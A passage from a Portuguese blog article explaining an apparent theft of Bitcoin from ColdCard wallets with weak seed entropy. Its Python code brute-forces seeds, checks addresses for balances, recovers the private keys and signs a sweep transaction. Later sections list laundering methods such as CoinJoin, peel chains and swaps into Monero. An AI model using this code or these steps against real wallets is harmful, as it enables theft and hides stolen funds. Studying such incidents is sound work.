<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">&gt;&gt;&gt; has_utxo(&#34;bc1qc3rmdj3ln6n05awxwetg0gz8e2aw0lzyxmaecp&#34;)
</span></span><span class="line"><span class="cl">False</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>O atacante descarta e passa ao próximo candidato.</p>
<p><strong>Exemplo de acerto</strong> (o endereço real da vítima <a href="https://mempool.space/address/bc1qe85jr4em79p66fsszkvfhwjf6p6qst58a2ahlr"target="_blank" rel="noopener"><code>bc1qe85jr4em79p66fsszkvfhwjf6p6qst58a2ahlr</code></a>, antes do sweep):</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-json" data-lang="json"><span class="line"><span class="cl"><span class="p">[</span>
</span></span><span class="line"><span class="cl">  <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&#34;txid&#34;</span><span class="p">:</span> <span class="s2">&#34;78ac8968ccf5a586d2fb9509f5af13f41e0a288bfa0f0b177d4e4b6bbebad05d&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&#34;vout&#34;</span><span class="p">:</span> <span class="mi">0</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&#34;value&#34;</span><span class="p">:</span> <span class="mi">2989251877</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&#34;status&#34;</span><span class="p">:</span> <span class="p">{</span><span class="nt">&#34;confirmed&#34;</span><span class="p">:</span> <span class="kc">true</span><span class="p">,</span> <span class="nt">&#34;block_height&#34;</span><span class="p">:</span> <span class="mi">960188</span><span class="p">}</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="p">]</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Quando <code>has_utxo</code> devolve <code>True</code>, o atacante sabe que a seed que ele acabou de gerar produz aquele endereço — e, portanto, a chave privada correspondente.</p>
<h3>5. Enumerar candidatos e caçar<span class="hx:absolute hx:-mt-20" id="5-enumerar-candidatos-e-caçar"></span>
    <a href="#5-enumerar-candidatos-e-ca%c3%a7ar" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">brute_mk3</span><span class="p">(</span><span class="n">uid_low32</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;&#34;&#34;
</span></span></span><span class="line"><span class="cl"><span class="s2">    Exemplo para Mk3/Mk2 v4: varre SysTick e RTC plausíveis.
</span></span></span><span class="line"><span class="cl"><span class="s2">    Na prática o atacante usa GPUs/FPGAs e restringe o UID pelo serial.
</span></span></span><span class="line"><span class="cl"><span class="s2">    &#34;&#34;&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="n">systick</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">80_000</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">        <span class="k">for</span> <span class="n">rtc_tr</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mh">0x000000</span><span class="p">,</span> <span class="mh">0x240000</span><span class="p">,</span> <span class="mh">0x100</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">            <span class="k">for</span> <span class="n">rtc_ssr</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mi">256</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">                <span class="k">yield</span> <span class="n">coldcard_entropy</span><span class="p">(</span><span class="n">uid_low32</span><span class="p">,</span> <span class="n">systick</span><span class="p">,</span> <span class="n">rtc_tr</span><span class="p">,</span> <span class="n">rtc_ssr</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">brute_mk4</span><span class="p">(</span><span class="n">uid_low32</span><span class="p">,</span> <span class="n">systick</span><span class="p">,</span> <span class="n">rtc_tr</span><span class="p">,</span> <span class="n">rtc_ssr</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;&#34;&#34;
</span></span></span><span class="line"><span class="cl"><span class="s2">    Exemplo para Mk4/Q/Mk5: o fallback é fixado e o atacante enumera
</span></span></span><span class="line"><span class="cl"><span class="s2">    os 2^32 valores possíveis do reseed do secure element.
</span></span></span><span class="line"><span class="cl"><span class="s2">    &#34;&#34;&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="n">reseed</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mh">0x100000000</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">        <span class="k">yield</span> <span class="n">coldcard_entropy</span><span class="p">(</span><span class="n">uid_low32</span><span class="p">,</span> <span class="n">systick</span><span class="p">,</span> <span class="n">rtc_tr</span><span class="p">,</span> <span class="n">rtc_ssr</span><span class="p">,</span> <span class="n">reseed</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">hunt</span><span class="p">(</span><span class="n">uid_low32</span><span class="p">,</span> <span class="n">generator</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="n">entropy</span> <span class="ow">in</span> <span class="n">generator</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="n">candidate</span> <span class="o">=</span> <span class="n">first_addresses</span><span class="p">(</span><span class="n">entropy</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="k">for</span> <span class="n">addr</span> <span class="ow">in</span> <span class="n">candidate</span><span class="p">[</span><span class="s2">&#34;receive&#34;</span><span class="p">]</span> <span class="o">+</span> <span class="n">candidate</span><span class="p">[</span><span class="s2">&#34;change&#34;</span><span class="p">]:</span>
</span></span><span class="line"><span class="cl">            <span class="k">if</span> <span class="n">has_utxo</span><span class="p">(</span><span class="n">addr</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">                <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;ACERTOU!&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">                <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;  mnemonic:&#34;</span><span class="p">,</span> <span class="n">candidate</span><span class="p">[</span><span class="s2">&#34;mnemonic&#34;</span><span class="p">])</span>
</span></span><span class="line"><span class="cl">                <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;  endereço :&#34;</span><span class="p">,</span> <span class="n">addr</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">                <span class="k">return</span> <span class="n">candidate</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Exemplo didático: use um UID conhecido e um gerador Mk3 reduzido.</span>
</span></span><span class="line"><span class="cl"><span class="c1"># hunt(0xAABBCCDD, brute_mk3(0xAABBCCDD))</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p><strong>O que fazem:</strong> <code>brute_mk3</code> varre estados plausíveis para Mk3; <code>brute_mk4</code> varre os 2^32 reseeds do secure element; <code>hunt</code> é o loop que gera, deriva e checa. O atacante real não roda em Python; escreve isso em C/CUDA/FPGA e paraleliza por UID. Mas a lógica é idêntica.</p>
<h2>Depois de achar a colisão<span class="hx:absolute hx:-mt-20" id="depois-de-achar-a-colisão"></span>
    <a href="#depois-de-achar-a-colis%c3%a3o" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Quando <code>hunt</code> retorna, o atacante já tem a <code>mnemonic</code> e o endereço com saldo. Com elas, ele obtém a chave privada:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">embit.bip39</span> <span class="kn">import</span> <span class="n">mnemonic_to_seed</span>
</span></span><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">embit.bip32</span> <span class="kn">import</span> <span class="n">HDKey</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">seed</span> <span class="o">=</span> <span class="n">mnemonic_to_seed</span><span class="p">(</span><span class="n">candidate_mnemonic</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">root</span> <span class="o">=</span> <span class="n">HDKey</span><span class="o">.</span><span class="n">from_seed</span><span class="p">(</span><span class="n">seed</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">addr_key</span> <span class="o">=</span> <span class="n">root</span><span class="o">.</span><span class="n">derive</span><span class="p">(</span><span class="s2">&#34;m/84&#39;/0&#39;/0&#39;/0/0&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="s2">&#34;WIF comprimido:&#34;</span><span class="p">,</span> <span class="n">addr_key</span><span class="o">.</span><span class="n">key</span><span class="o">.</span><span class="n">wif</span><span class="p">())</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="s2">&#34;Endereço      :&#34;</span><span class="p">,</span> <span class="n">addr_key</span><span class="o">.</span><span class="n">address</span><span class="p">())</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Saída típica:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">WIF comprimido: L1P8P5vQUoRiNXpDuezfTf3GJtsFBWyJZsvfVs2gxNtxaAXSNhhF
</span></span><span class="line"><span class="cl">Endereço      : bc1qc3rmdj3ln6n05awxwetg0gz8e2aw0lzyxmaecp</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Esse WIF é a chave privada no formato que qualquer wallet entende. A partir daqui o atacante pode:</p>
<ol>
<li><strong>Importar a seed ou o WIF</strong> no Sparrow, Electrum ou outra wallet.</li>
<li><strong>Rescanar</strong> a blockchain para ver todos os UTXOs daquela seed.</li>
<li><strong>Montar uma transação</strong> mandando os fundos para um endereço que ele controla.</li>
<li><strong>Assinar e transmitir</strong>.</li>
</ol>
<h3>Exemplo concreto de sweep<span class="hx:absolute hx:-mt-20" id="exemplo-concreto-de-sweep"></span>
    <a href="#exemplo-concreto-de-sweep" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>No caso real, o atacante varreu o UTXO de 29.89251877 BTC do endereço <a href="https://mempool.space/address/bc1qe85jr4em79p66fsszkvfhwjf6p6qst58a2ahlr"target="_blank" rel="noopener"><code>bc1qe85jr...</code></a> para o endereço de consolidação. O que ele precisava produzir era uma transação assinada. O esqueleto, com valores didáticos e um input fictício, fica assim:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">bitcoinlib.transactions</span> <span class="kn">import</span> <span class="n">Transaction</span>
</span></span><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">bitcoinlib.keys</span> <span class="kn">import</span> <span class="n">HDKey</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># chave recuperada a partir da seed colidida</span>
</span></span><span class="line"><span class="cl"><span class="n">key</span> <span class="o">=</span> <span class="n">HDKey</span><span class="o">.</span><span class="n">from_seed</span><span class="p">(</span><span class="n">candidate_mnemonic</span><span class="p">)</span><span class="o">.</span><span class="n">derive</span><span class="p">(</span><span class="s2">&#34;m/84&#39;/0&#39;/0&#39;/0/0&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">input_value</span>  <span class="o">=</span> <span class="mi">2_989_251_877</span>      <span class="c1"># 29.89251877 BTC, em satoshis</span>
</span></span><span class="line"><span class="cl"><span class="n">fee</span>          <span class="o">=</span> <span class="mi">7_380</span>              <span class="c1"># taxa em satoshis</span>
</span></span><span class="line"><span class="cl"><span class="n">output_value</span> <span class="o">=</span> <span class="n">input_value</span> <span class="o">-</span> <span class="n">fee</span>  <span class="c1"># o que sobra para o atacante</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">tx</span> <span class="o">=</span> <span class="n">Transaction</span><span class="p">(</span><span class="n">network</span><span class="o">=</span><span class="s1">&#39;bitcoin&#39;</span><span class="p">,</span> <span class="n">fee</span><span class="o">=</span><span class="n">fee</span><span class="p">,</span> <span class="n">witness_type</span><span class="o">=</span><span class="s1">&#39;segwit&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">tx</span><span class="o">.</span><span class="n">add_input</span><span class="p">(</span>
</span></span><span class="line"><span class="cl">    <span class="s1">&#39;aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&#39;</span><span class="p">,</span>  <span class="c1"># txid do UTXO da vítima</span>
</span></span><span class="line"><span class="cl">    <span class="mi">0</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="n">keys</span><span class="o">=</span><span class="n">key</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="n">value</span><span class="o">=</span><span class="n">input_value</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="n">locking_script</span><span class="o">=</span><span class="nb">bytes</span><span class="o">.</span><span class="n">fromhex</span><span class="p">(</span><span class="s1">&#39;0014&#39;</span><span class="p">)</span> <span class="o">+</span> <span class="n">key</span><span class="o">.</span><span class="n">hash160</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="n">script_type</span><span class="o">=</span><span class="s1">&#39;sig_pubkey&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="n">address</span><span class="o">=</span><span class="n">key</span><span class="o">.</span><span class="n">address</span><span class="p">()</span>
</span></span><span class="line"><span class="cl"><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">tx</span><span class="o">.</span><span class="n">add_output</span><span class="p">(</span><span class="n">output_value</span><span class="p">,</span> <span class="s1">&#39;bc1qqdcszapk2yjrw0esf4t0etnlpjs5krsk5e99ru&#39;</span><span class="p">)</span>  <span class="c1"># endereço do atacante</span>
</span></span><span class="line"><span class="cl"><span class="n">tx</span><span class="o">.</span><span class="n">sign</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">tx</span><span class="o">.</span><span class="n">raw_hex</span><span class="p">())</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Uma transação assinada válida tem esse formato (hex truncado):</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">01000000000101aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa0000000000ffffffff...</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>O atacante transmite esse hex para qualquer node Bitcoin (mempool.space, seu próprio node, Electrum, etc.). O protocolo não pergunta de onde veio a chave; só verifica se a assinatura satisfaz o script. Se a assinatura for válida, a rede inclui a transação no próximo bloco e o UTXO muda de dono.</p>
<p>No ataque real, isso foi feito 1.195 vezes em 41 minutos, todos com o mesmo script, a mesma taxa e a mesma lógica de ordenação por saldo.</p>
<h2>O que essa classe de bugs significa<span class="hx:absolute hx:-mt-20" id="o-que-essa-classe-de-bugs-significa"></span>
    <a href="#o-que-essa-classe-de-bugs-significa" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Esse não é um ataque à curva elíptica, ao SHA-256, ao BIP39 ou ao Bitcoin. É um ataque à <strong>entropia</strong>. O fabricante reduziu o espaço de chaves e o protocolo simplesmente aceitou as assinaturas que saíram daquele espaço menor.</p>
<p>Três lições:</p>
<ol>
<li><strong>Não confie na aparência de aleatoriedade.</strong> O output do Yasmarang passa por testes estatísticos simples e parece aleatório. Mas se o estado inicial é previsível, toda a sequência é previsível.</li>
<li><strong>Hash não cria entropia.</strong> Passar 40 bits de entrada por SHA-256 duas vezes gera um hash bonito e uniforme, mas ainda existem no máximo <code>2^40</code> hashes possíveis. O atacante enumera as entradas, não os hashes.</li>
<li><strong>A blockchain é pública e permanente.</strong> Uma wallet vulnerável pode ficar anos quieta até alguém ligar os pontos. No dia em que o ataque é publicado, todos os UTXOs daquele espaço de chaves viram alvos.</li>
</ol>
<h2>Dá para pegar o criminoso?<span class="hx:absolute hx:-mt-20" id="dá-para-pegar-o-criminoso"></span>
    <a href="#d%c3%a1-para-pegar-o-criminoso" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Uma pergunta que aparece toda vez que um roubo de criptomoedas ganha escala é: &ldquo;será que dá para rastrear quem fez isso?&rdquo;. A resposta curta é: <strong>talvez, mas não é trivial</strong>, e rastrear não é o mesmo que recuperar os bitcoins.</p>
<p>Clay Garrett, que está entre as pessoas investigando o caso, publicou <a href="https://x.com/clay_garrett/status/2083247006139503065"target="_blank" rel="noopener">uma thread no X</a> alegando que a equipe dele identificou um padrão de varredura incomum. Segundo a thread, o operador do ataque teria usado uma conta paga de um provedor de serviços blockchain bem conhecido para consultar os endereços-fonte e a atividade relacionada durante os sweeps. Os logs do provedor teriam correspondido, com &ldquo;especificidade extraordinária&rdquo;, ao número, ao timing e à sequência das requisições. O provedor, segundo Garrett, estava apenas fornecendo serviços normais; as requisições em si não revelavam para que serviam.</p>
<p>O que isso significa, <strong>se for confirmado</strong>:</p>
<ul>
<li>Um provedor de serviços blockchain tipicamente exige conta, e muitas vezes pagamento. Isso pode deixar rastros: e-mail, método de pagamento, endereço IP, horários de acesso, padrão de uso da API.</li>
<li>Se a conta passou por KYC, a probabilidade de identificar uma pessoa sobe muito. Se o pagamento foi feito com criptomoeda, voucher anônimo ou cartão de terceiros, o vínculo se torna fraco.</li>
<li>Mesmo com um IP ou e-mail, o operador pode ter usado VPN, Tor, computação em nuvem descartável ou identidade roubada. Cada camada adicional reduz a chance de chegar até a pessoa real.</li>
<li>Os fundos, até onde se sabe, ainda não foram movidos para mixers ou trocas. Enquanto estiverem parados, existe uma janela para congelamento ou recuperação judicial. Assim que forem trocados, misturados ou convertidos em fiat off-shore, a recuperação do ativo fica drasticamente mais difícil.</li>
</ul>
<p>Ou seja: a thread aponta para uma linha de investigação promissora, mas <strong>é uma alegação em andamento</strong>, não uma prova concluída. Capturar o operador depende de como ele se expôs nos serviços terceirizados, da qualidade dos logs, da jurisdição e da velocidade das autoridades. Recuperar os bitcoins depende de onde as moedas estiverem quando isso acontecer. As duas coisas estão relacionadas, mas não são a mesma coisa.</p>
<h2>O que o atacante ainda não fez<span class="hx:absolute hx:-mt-20" id="o-que-o-atacante-ainda-não-fez"></span>
    <a href="#o-que-o-atacante-ainda-n%c3%a3o-fez" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Até agora, a operação foi tecnicamente competente no ataque, mas amadora na fuga. Os ~1.128 BTC roubados estão parados em endereços de consolidação conhecidos, sem mixer, sem coinjoin, sem movimentação posterior. Isso é incomum para um roubo dessa magnitude e merece atenção, porque define o que ainda é recuperável.</p>
<h3>O que seria um mixer, e por que ele não foi usado<span class="hx:absolute hx:-mt-20" id="o-que-seria-um-mixer-e-por-que-ele-não-foi-usado"></span>
    <a href="#o-que-seria-um-mixer-e-por-que-ele-n%c3%a3o-foi-usado" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Um <strong>mixer</strong> (ou <strong>tumbler</strong>) é um serviço que recebe bitcoins de várias pessoas, embaralha os valores em uma única transação ou série de transações e devolve bitcoins equivalentes em endereços novos. A ideia é quebrar a cadeia pública de &ldquo;de onde veio&rdquo;.</p>
<p>O modelo clássico é o <strong>CoinJoin</strong>: vários participantes assinam juntos uma transação com muitos inputs e muitos outputs do mesmo tamanho. Observador externo vê que o dinheiro entrou, mas não consegue dizer qual output pertence a quem. Ferramentas como <strong>Wasabi Wallet</strong> e <strong>Samourai Wallet</strong> implementam CoinJoin de forma automatizada. O Samourai chegou a oferecer o serviço <strong>Whirlpool</strong>, onde os UTXOs passam por rodadas de remixagem que dificultam ainda mais o rastreamento.</p>
<p>Outro modelo é o mixer centralizado, em que você envia bitcoins para um endereço do serviço e recebe de volta de um pool diferente, menos uma taxa. Historicamente serviços como <strong>Bitcoin Fog</strong> e <strong>Helix</strong> funcionavam assim. A diferença para o CoinJoin é que você precisa confiar no operador do mixer — e vários desses operadores foram presos exatamente porque os investigadores conseguiram ligar os depósitos aos saques.</p>
<p>No caso do roubo da ColdCard, nenhuma dessas técnicas apareceu ainda. Os bitcoins saíram das wallets das vítimas, foram parar em três grandes clusters e, de lá, não se moveram. Isso pode significar várias coisas:</p>
<ol>
<li><strong>O atacante ainda está decolando.</strong> Roubar 1.128 BTC em 41 minutos é uma coisa; lavar 1.128 BTC sem deixar rastros é outra. Configurar uma pipeline de anonimização leva tempo, custa dinheiro e exige contas pré-estabelecidas.</li>
<li><strong>O atacante não esperava tanta visibilidade.</strong> Quando a imprensa e os analistas de blockchain começam a acompanhar endereços em tempo real, qualquer movimentação imediata vira notícia. Parar os fundos é uma forma de esperar o burburinho baixar.</li>
<li><strong>O atacante pode estar negociando uma recuperação.</strong> Não é raro que grandes roubos terminem em acordo, com parte dos fundos devolvida em troca de anonimato do ladrão.</li>
</ol>
<h3>Como se esconde normalmente uma quantia dessas<span class="hx:absolute hx:-mt-20" id="como-se-esconde-normalmente-uma-quantia-dessas"></span>
    <a href="#como-se-esconde-normalmente-uma-quantia-dessas" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Se o operador quiser realmente dificultar o rastreamento, o playbook padrão envolve várias camadas:</p>
<ol>
<li><strong>CoinJoin em rodadas.</strong> O atacante divide os fundos em valores padronizados e passa por múltiplas rodadas de CoinJoin. Depois de algumas rodadas, o grafo deixa de ser uma árvore e vira uma teia, dificultando a atribuição.</li>
<li><strong>Peel chain.</strong> Em vez de mandar tudo de uma vez, ele vai transferindo pequenas fatias por dezenas ou centenas de endereços intermediários, como descascar uma cebola. Cada endereço envia a maior parte para o próximo e uma pequena fração para um destino final.</li>
<li><strong>Trocas instantâneas e bridges.</strong> Trocar Bitcoin por Monero em uma exchange descentralizada ou bridge é um caminho comum: Monero oculta remetente, destinatário e valor. Depois de algumas transações em Monero, o atacante pode trocar de volta para Bitcoin em novos endereços.</li>
<li><strong>Exchanges com KYC fraco ou nenhum.</strong> Depositar em corretoras que não exigem identificação, ou que aceitam contas de terceiros, permite converter em stablecoins, fiat ou outras criptomoedas. Mesmo com KYC, contas compradas ou de laranjas ajudam a criar distância.</li>
<li><strong>Fiat off-shore.</strong> O estágio final é transformar o ativo em dinheiro real fora das jurisdições que cooperam com investigações. Casas de câmbio não reguladas, caixas eletrônicos de Bitcoin, cartões pré-pagos e contas em paraísos fiscais entram aqui.</li>
</ol>
<p>Cada uma dessas camadas não torna o rastreamento impossível, mas aumenta o custo. Uma investigação bem financiada ainda pode seguir pistas: taxas pagas por uma exchange, padrões de timing, endereços de troco, correspondência de valores. O problema é que, quanto mais camadas, mais tempo leva — e quanto mais tempo, menor a chance de congelar os fundos antes que sejam gastos.</p>
<h3>Por que isso importa agora<span class="hx:absolute hx:-mt-20" id="por-que-isso-importa-agora"></span>
